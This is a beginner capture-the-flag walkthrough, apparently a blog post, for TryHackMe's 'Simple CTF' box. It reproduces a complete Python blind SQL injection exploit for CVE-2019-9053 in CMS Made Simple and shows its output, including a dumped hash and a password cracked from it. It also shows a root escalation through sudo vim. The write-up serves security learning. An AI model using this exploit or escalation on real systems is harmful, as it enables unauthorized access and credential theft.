Simple CTF | TryHackMe

Overview

TitleSimple CTF
DifficultyEasy
MachineLinux
DescriptionBeginner level ctf
MakerMrSeth6797

In this easy box we will exploit an unauthenticated blind SQL injection on a vulnerable instance of CMS Made Simple and gain credentials of an SSH user. From there we will read the root flag by privilege escalation using vim.

Used tools

Wordlists


Enumeration

First start with quick nmap port scan

 nmap -p- -T4 --min-rate 10000 10.10.38.40 -vv -oA nmap/ports
 
Starting Nmap 7.80 ( https://nmap.org ) at 2023-01-14 10:25 IST
Nmap scan report for 10.10.38.40
Host is up (0.47s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
2222/tcp open  EtherNetIP-1

Nmap done: 1 IP address (1 host up) scanned in 213.02 seconds

Now further scan only the open ports identified from above.

 nmap -p 21,80,2222 -sC -sV  10.10.38.40 -vv -oA nmap/service
 
# Nmap 7.80 scan initiated Sat Jan 14 10:29:32 2023 as: nmap -p 21,80,2222 -sC -sV -vv -oA nmap/service 10.10.38.40
Nmap scan report for 10.10.38.40
Host is up, received syn-ack (0.55s latency).
Scanned at 2023-01-14 10:29:33 IST for 42s

PORT     STATE SERVICE REASON  VERSION
21/tcp   open  ftp     syn-ack vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Cant get directory listing: TIMEOUT
| ftp-syst:
|   STAT:
| FTP server status:
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 2 disallowed entries
|_/ /openemr-5_0_1_3
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCj5RwZ5K4QU12jUD81IxGPdEmWFigjRwFNM2pVBCiIPWiMb+R82pdw5dQPFY0JjjicSysFN3pl8ea2L8acocd/7zWke6ce50tpHaDs8OdBYLfpkh+OzAsDwVWSslgKQ7rbi/ck1FF1LIgY7UQdo5FWiTMap7vFnsT/WHL3HcG5Q+el4glnO4xfMMvbRar5WZd4N0ZmcwORyXrEKvulWTOBLcoMGui95Xy7XKCkvpS9RCpJgsuNZ/oau9cdRs0gDoDLTW4S7OI9Nl5obm433k+7YwFeoLnuZnCzegEhgq/bpMo+fXTb/4ILI5bJHJQItH2Ae26iMhJjlFsMqQw0FzLf
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM6Q8K/lDR5QuGRzgfrQSDPYBEBcJ+/2YolisuiGuNIF+1FPOweJy9esTtstZkG3LPhwRDggCp4BP+Gmc92I3eY=
|   256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ2I73yryK/Q6UFyvBBMUJEfznlIdBXfnrEqQ3lWdymK
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan 14 10:30:15 2023 -- 1 IP address (1 host up) scanned in 43.25 seconds

3 TCP ports are open:

  • 21/tcp -> FTP
  • 80/tcp -> HTTP
  • 2222/tcp -> SSH

Port 21 - FTP (vsFTPd 3.0.3)

FTP Anonymous login is enabled and we can login using either ftp or anonymous user without any password. Inside the server there was a directory named pub and inside that a file, ForMitch.txt.

 ftp ftp@10.10.38.40
 
Connected to 10.10.38.40.
220 (vsFTPd 3.0.3)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
drwxr-xr-x    2 ftp      ftp          4096 Aug 17  2019 pub
ftp> cd pub
ftp> ls
-rw-r--r--    1 ftp      ftp           166 Aug 17  2019 ForMitch.txt
ftp> get ForMitch.txt
100% |*************************************************|   166        3.51 MiB/s    00:00 ETA
166 bytes received in 00:00 (0.79 KiB/s)
ftp>

 cat ForMitch.txt

Dammit man... you'te the worst dev i've seen. You set the same passfor the system user,
and the password is so weak... i cracked it in seconds. Gosh... what a mess!

Port 80 - HTTP (Apache 2.4.18 Ubuntu default)

This is just the default page of apache.

Apache Ubuntu default

Interestingly there’s a robots.txt file inside the server.

User-agent: *
Disallow: /


Disallow: /openemr-5_0_1_3 

But /openemr-5_0_1_2 is a rabbit hole. So let’s move on.

Not found

Directory Listing (dirsearch - common.txt)

 dirsearch -u http://10.10.38.40/ --wordlist /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -o directory-listing


  _|. _ _  _  _  _ _|_    v0.4.2.7
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 4712

Output File: /home/h4r1337/ctf/thm/simple-ctf/reports/http_10.10.38.40/__23-01-14_11-02-37.txt

Target: http://10.10.38.40/

[11:02:37] Starting:
[11:03:35] 200 -  929B  - /robots.txt
[11:03:37] 403 -  299B  - /server-status
[11:03:38] 301 -  311B  - /simple  ->  http://10.10.38.40/simple/

Task Completed

/simple/ - CMS Made Simple (Version 2.2.8)

There’s a cms running inside the /simple/ directory.

CMS Made Simple

Searchsploit Output:

 searchsploit cms made simple 2.2.8
 
------------------------------------------------------------ ---------------------------------
 Exploit Title                                              |  Path
------------------------------------------------------------ ---------------------------------
CMS Made Simple < 2.2.10 - SQL Injection                    | php/webapps/46635.py
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

 searchsploit -m 46635.py

Alright we got an exploit. We can save a copy of it on the current working directory using the -m flag of searchsploit. We will check it out later.

Port 2222 SSH - (OpenSSH 7.2p2)

  • Searchsploit Results:
 searchsploit openssh 7.2p2
------------------------------------------------------------- ---------------------------------
 Exploit Title                                               |  Path
------------------------------------------------------------- ---------------------------------
OpenSSH 2.3 < 7.7 - Username Enumeration                     | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)               | linux/remote/45210.py
'OpenSSH 7.2p2 - Username Enumeration                        | linux/remote/40136.py'
OpenSSH < 7.4 - UsePrivilegeSeparation Disabled Forwarded    | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading     | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2)                         | linux/remote/45939.py
'OpenSSHd 7.2p2 - Username Enumeration                       | linux/remote/40113.txt'
------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Nothing interesting in here. Username probably is mitch from the ForMitch.txt file. So we don’t have to use these exploits.


Exploitation

Unauthenticated SQL Injection ( CVE-2019-9053 CMS Made Simple)

An issue was discovered in CMS Made Simple 2.2.8. It is possible with the News module, through a crafted URL, to achieve unauthenticated blind time-based SQL injection via the m1_idlist parameter.

Exploit used (modified a bit to support python3): You can download the original from here

#!/usr/bin/python3
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053

import requests
import time
import optparse
import hashlib

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)

options, args = parser.parse_args()
if not options.url:
    print("[+] Specify an url target")
    print("[+] Example usage (no cracking password): exploit.py -u http://target-uri")
    print("[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist")
    print("[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based.")
    exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""

salt = ''
wordlist = ""
if options.wordlist:
    wordlist += options.wordlist

def crack_password():
    global password
    global output
    global wordlist
    global salt
    dict = open(wordlist)
    for line in dict.readlines():
        line = line.replace("\n", "")
        beautify_print_try(line)
        if hashlib.md5(str(salt) + line).hexdigest() == password:
            output += "\n[+] Password cracked: " + line
            break
    dict.close()

def beautify_print_try(value):
    global output
    print("\033c")
    print(output)
    print('[*] Try: ' + value)

def beautify_print():
    global output
    print("\033c")
    print(output)

def dump_salt():
    global flag
    global salt
    global output
    ord_salt = ""
    ord_salt_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_salt = salt + dictionary[i]
            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_salt)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            salt = temp_salt
            ord_salt = ord_salt_temp
    flag = True
    output += '\n[+] Salt for password found: ' + salt

def dump_password():
    global flag
    global password
    global output
    ord_password = ""
    ord_password_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_password = password + dictionary[i]
            ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_password)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
            payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            password = temp_password
            ord_password = ord_password_temp
    flag = True
    output += '\n[+] Password found: ' + password

def dump_username():
    global flag
    global db_name
    global output
    ord_db_name = ""
    ord_db_name_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_db_name = db_name + dictionary[i]
            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_db_name)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            db_name = temp_db_name
            ord_db_name = ord_db_name_temp
    output += '\n[+] Username found: ' + db_name
    flag = True

def dump_email():
    global flag
    global email
    global output
    ord_email = ""
    ord_email_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_email = email + dictionary[i]
            ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_email)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            email = temp_email
            ord_email = ord_email_temp
    output += '\n[+] Email found: ' + email
    flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

if options.cracking:
    print("[*] Now try to crack password")
    crack_password()

beautify_print()

We can crack the admin password using this exploit.

 python3.9 sql-injection.py -u http://10.10.38.40/simple/ --crack -w /usr/share/wordlists/rockyou.txt

[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret

Now we can use this credentials to SSH into the machine.

 ssh mitch@10.10.38.40 -p 2222

The authenticity of host '[10.10.38.40]:2222 ([10.10.38.40]:2222)' can't be established.
ED25519 key fingerprint is SHA256:iq4f0XcnA5nnPNAufEqOpvTbO8dOJPcHGgmeABEdQ5g.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.38.40]:2222' (ED25519) to the list of known hosts.
mitch@10.10.38.40's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190
$ ls
user.txt
$ cat user.txt
******************

Privilege Escalation

Local Enumeration

First things first:

mitch@Machine:~$ whoami
mitch

mitch@Machine:~$ id
uid=1001(mitch) gid=1001(mitch) groups=1001(mitch)

mitch@Machine:~$ uname -a
Linux Machine 4.15.0-58-generic #64~16.04.1-Ubuntu SMP Wed Aug 7 14:09:34 UTC 2019 i686 i686 i686 GNU/Linux

Check for the list of privileged commands for user:

mitch@Machine:~$ sudo -l

User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

Vim for the rescue.

Privilege Escalation Using vim

Since the user does have root privilege to run vim, we can use vim to escalate the privilege.

mitch@Machine:~$ sudo vim

Now inside vim enter this command:

:!bash

This will spawn us the root shell.

root

Conclusion

This was a good beginner level box. I got to know CVE-2019-9053 for the first time.

updated at 2023-01-14